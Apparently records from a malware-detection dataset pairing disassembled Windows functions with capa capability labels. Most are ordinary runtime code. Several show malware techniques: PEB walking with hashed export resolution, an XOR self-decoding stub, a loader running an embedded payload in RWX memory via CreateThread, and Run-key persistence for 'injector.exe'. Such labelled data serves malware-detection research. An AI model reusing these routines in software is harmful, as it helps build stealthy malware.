joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140188d14
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14017bfe0
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140188db5
cmp ebx, dword [rsp + 0x30]
je 0x140188dae
test esi, esi
je 0x140188dae
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140188d89
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140188d96
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140188d73
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140188d9a
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140188db7
mov eax, 1
jmp 0x140188db7
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140189164
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140189184
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1401656dc
or eax, 0xffffffff
jmp 0x140189186
xor eax, eax
add rsp, 0x28
ret

Function at 0x140189928
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1401eb9a0]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x140189972
call fcn.140165748
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.140165768
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.14015ee74
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14014fd10
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x14018997d
lea eax, [rbx + 1]
jmp 0x14018995f
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x14018995d
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x14018995f
Function at 0x14018c304
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140160248
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14018c38e
cmp byte [rbp - 0x21], r15b
je 0x14018c389
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14018c3c4
call fcn.14017dc3c
test eax, eax
jne 0x14018c3b0
cmp byte [rbp - 0x21], r15b
je 0x14018c3a8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14018c3c4
cmp byte [rbp - 0x21], r15b
je 0x14018c3c1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1401642b4
test eax, eax
jne 0x14018c464
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140160248
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14018c403
cmp byte [rbp - 0x21], r15b
je 0x14018c438
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14018c438
call fcn.14017dc3c
test eax, eax
jne 0x14018c424
cmp byte [rbp - 0x21], r15b
je 0x14018c41d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14018c438
cmp byte [rbp - 0x21], r15b
je 0x14018c435
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1401642b4
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14018c464
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14018c467
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14018c475
mov rcx, rdi
call fcn.14017cda0
cmp byte [rbp + 0x3f], r15b
je 0x14018c484
mov rcx, qword [rbp + 0x27]
call fcn.14017cda0
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400011d0
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rax, qword gs:[0x60]
xor r12d, r12d
mov r13, rdx
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov qword [rsp + 0x60], rcx
mov r15, qword [rcx]
cmp r15, rcx
je 0x1400013e0
mov edx, 0x20b
mov r8d, 0x5a4d
nop dword [rax]
cmp qword [r15 + 0x60], 0
je 0x140001398
mov rsi, qword [r15 + 0x30]
test rsi, rsi
je 0x140001398
movsxd rax, dword [rsi + 0x3c]
mov r14d, dword [rax + rsi + 0x88]
add r14, rsi
cmp word [rsi], r8w
jne 0x1400013bd
cmp word [rax + rsi + 0x18], dx
jne 0x140001266
cmp dword [rax + rsi + 0x8c], 0
jbe 0x140001398
mov ebp, dword [r14 + 0x18]
xor edi, edi
test ebp, ebp
je 0x140001393
mov ebx, dword [r14 + 0x20]
add rbx, rsi
nop dword [rax + rax]
mov r11d, dword [rbx]
xor r10d, r10d
add r11, rsi
mov eax, 0xc90d3c38
movzx r9d, byte [r11]
test r9b, r9b
je 0x140001353
mov ebp, 0xc90d3c38
movzx r8d, r9b
sub r9b, 0x41
cmp r9b, 0x19
lea ecx, [r8 + 0x20]
movzx edx, cl
cmova edx, r8d
movsx r8d, dl
cmp eax, r8d
jne 0x1400012c4
xor ecx, ecx
jmp 0x1400012e9
movd xmm0, r8d
movd xmm2, eax
movdqa xmm1, xmm0
pandn xmm1, xmmword [0x1400044d0]
pand xmm1, xmm2
pandn xmm2, xmm0
por xmm1, xmm2
movd ecx, xmm1
lea eax, [r10 - 0x36f2c3c8]
imul eax, r8d
add eax, ecx
mov ecx, r10d
test r10d, r10d
cmove ecx, ebp
movd xmm0, eax
pshufd xmm0, xmm0, 0
movd eax, xmm0
cmp ecx, ebp
jne 0x140001314
xor ecx, ecx
jmp 0x140001338
movd xmm1, ecx
movd xmm2, ebp
movdqa xmm0, xmm1
pandn xmm0, xmmword [0x1400044d0]
pand xmm0, xmm2
pandn xmm2, xmm1
por xmm0, xmm2
movd ecx, xmm0
imul eax, ecx
inc r10d
movzx r9d, byte [r10 + r11]
add eax, r8d
test r9b, r9b
jne 0x1400012a0
mov ebp, dword [r14 + 0x18]
mov ecx, eax
cmp r13, rcx
je 0x14000136a
inc edi
add rbx, 4
cmp edi, ebp
jb 0x140001280
jmp 0x140001383
mov eax, dword [r14 + 0x24]
mov ecx, dword [r14 + 0x1c]
add rax, rsi
add rcx, rsi
movzx edx, word [rax + rdi*2]
mov r12d, dword [rcx + rdx*4]
add r12, rsi
mov rcx, qword [rsp + 0x60]
mov r8d, 0x5a4d
mov edx, 0x20b
test r12, r12
jne 0x1400013a5
mov r15, qword [r15]
cmp r15, rcx
je 0x1400013e0
jmp 0x140001220
mov rbx, qword [rsp + 0x68]
mov rax, r12
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rsp + 0x70]
call fcn.1400011c0
lea rdx, [0x140004f28]
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_export.
lea rcx, [rsp + 0x70]
call fcn.1400011c0
lea rdx, [0x140004f28]
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x180d1c0b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.180d1c237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180d1c0e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180d1c0c7
add dl, dl
jne 0x180d1c0ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180d1c14e
xor eax, eax
add dl, dl
jne 0x180d1c0fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180d1c205
add dl, dl
jne 0x180d1c10e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180d1c11b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180d1c128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180d1c135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x180d1c142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x180d1c0d6
mov eax, 1
add dl, dl
jne 0x180d1c15e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180d1c16b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180d1c153
sub eax, ebx
mov ebx, 1
jne 0x180d1c1a4
mov ecx, 1
add dl, dl
jne 0x180d1c186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180d1c193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180d1c17b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180d1c0d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180d1c1c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180d1c1cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180d1c1b5
cmp eax, 0x7d00
jae 0x180d1c1f3
cmp eax, 0x500
jb 0x180d1c1ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180d1c0d6
cmp eax, 0x7f
ja 0x180d1c1f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180d1c0d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x180d1c22a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x180d1c0d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x2fc4cadd0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4cb7d2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f0108]
test eax, eax
je 0x2fc4cb86a
lea rax, [0x2fc4f00e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f0110]
mov qword [rbp - 8], rax
jmp 0x2fc4cb84e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4cb842
cmp qword [rbp - 0x10], 0
je 0x2fc4cb842
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4cb808
lea rax, [0x2fc4f00e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4cb86b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4cb970
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4cb998
mov eax, 0
jmp 0x2fc4cb9e6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4cb9c1
mov eax, 0
jmp 0x2fc4cb9e6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4cb9e1
mov eax, 0
jmp 0x2fc4cb9e6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4cb9ec
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4cba6a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4cba61
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4cba61
mov rax, qword [rbp - 8]
jmp 0x2fc4cba7f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4cba34
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140f73a7c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f73a86
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f73aaf
pop rbp
sub rbp, 0x33
sub rbp, 0xf73a7c
sub rsp, 0x20
jmp 0x140f73ace
mov rax, 0xf73a7c
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x691e1b6d
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f73aed
jmp 0x140f73b04
and eax, 0xe4e684e4
push rcx
insd dword [rdi], dx
insd dword [rdi], dx
insd dword [rdi], dx
and eax, 0x6c65acec
insd dword [rdi], dx
insd dword [rdi], dx
and eax, 0xaa25846c
lodsd eax, dword [rsi]
insd dword [rdi], dx
insd dword [rdi], dx
insd dword [rdi], dx
and eax, 0x6d45afaa
insd dword [rdi], dx
insd dword [rdi], dx
and eax, 0x6c258f9a
lodsb al, byte [rsi]
out 0xec, al
invalid

Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov eax, 0x43a58
call fcn.1400010f0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x43a50], rax
mov dword [rsp + 0x4c], 0
lea rcx, [rsp + 0x50]
lea rdx, str.MZARUH
mov r8d, 0x43a00
call sub.VCRUNTIME140D.dll_memcpy
xor eax, eax
mov ecx, eax
mov edx, 0x43a00
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x43a00
call sub.VCRUNTIME140D.dll_memcpy
mov r8, qword [rsp + 0x40]
xor eax, eax
mov r9d, eax
xor eax, eax
mov rcx, r9
mov rdx, r9
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov dword [rsp + 0x34], eax
mov rcx, qword [rsp + 0x43a50]
xor rcx, rsp
call fcn.140001150
mov eax, dword [rsp + 0x34]
add rsp, 0x43a58
ret
Function at 0x1400025c0
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x48
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400026ca
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400026bf
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400026b4
mov r8d, 0x7fff
mov rdx, qword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400026a9
mov edx, 0x7fff
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x1400026a9
mov r9, qword [rsp + 0x28]
lea r8, str._sexplorer.exe
mov edx, 0x7fff
mov rcx, qword [rsp + 0x30]
call fcn.140019c8c
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1400026a9
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x1400026cc
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x48
ret

Function at 0x1400026e0
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x48
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400027ea
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400027df
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400027d4
mov r8d, 0x7fff
mov rdx, qword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400027c9
mov edx, 0x7fff
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1400027c9
mov r9, qword [rsp + 0x28]
lea r8, str._s_svchost.exe
mov edx, 0x7fff
mov rcx, qword [rsp + 0x30]
call fcn.140019c8c
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1400027c9
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x1400027ec
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x48
ret
Function at 0x140005b70
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x68
lea rdx, [rsp + 0x30]
lea rcx, [0x14003a1d0]
call fcn.140005d80
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140005cc3
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140005cb8
lea rax, str.injector.exe
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x38]
lea r8, [0x1400260a0]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov dword [rsp + 0x50], eax
cmp dword [0x14003c040], 1
jne 0x140005c48
lea r8, [rsp + 0x48]
lea rdx, [0x1400260b0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x140005c48
mov eax, dword [rsp + 0x50]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14003c114]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x14003c03c], 1
jne 0x140005cad
lea r8, [rsp + 0x48]
lea rdx, [0x140026110]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x140005cad
mov eax, dword [rsp + 0x50]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.AB1F3E47_AEF1_400E_A108_233A046C3A34
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
add rsp, 0x68
ret

Function at 0x140005ce0
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
sub rsp, 0x38
cmp dword [0x14003c040], 1
jne 0x140005d27
lea r8, [rsp + 0x20]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x140005d27
lea rdx, [0x14003c114]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x14003c03c], 1
jne 0x140005d6a
lea r8, [rsp + 0x20]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x140005d6a
lea rdx, str.AB1F3E47_AEF1_400E_A108_233A046C3A34
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add rsp, 0x38
ret
Function at 0x140005d80
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x58
mov rax, qword [rsp + 0x70]
cmp dword [rax + 0x64], 1
jne 0x140005db6
lea rax, [rsp + 0x20]
lea rcx, [0x140026a00]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
jmp 0x140005dda
mov rax, qword [rsp + 0x70]
cmp dword [rax + 0x64], 2
jne 0x140005dda
lea rax, [rsp + 0x20]
lea rcx, [0x140026a10]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea r9, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20]
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x140005e9f
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x70]
add rax, 0x68
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov eax, ecx
cdqe
lea rax, [rax + rax + 0xa]
mov rdx, rax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140005e94
mov rax, qword [rsp + 0x70]
add rax, 0x68
mov r9, rax
mov r8, qword [rsp + 0x30]
lea rdx, str._s_s_
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x78]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, qword [rsp + 0x38]
jmp 0x140005ea1
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
add rsp, 0x58
pop rdi
pop rsi
ret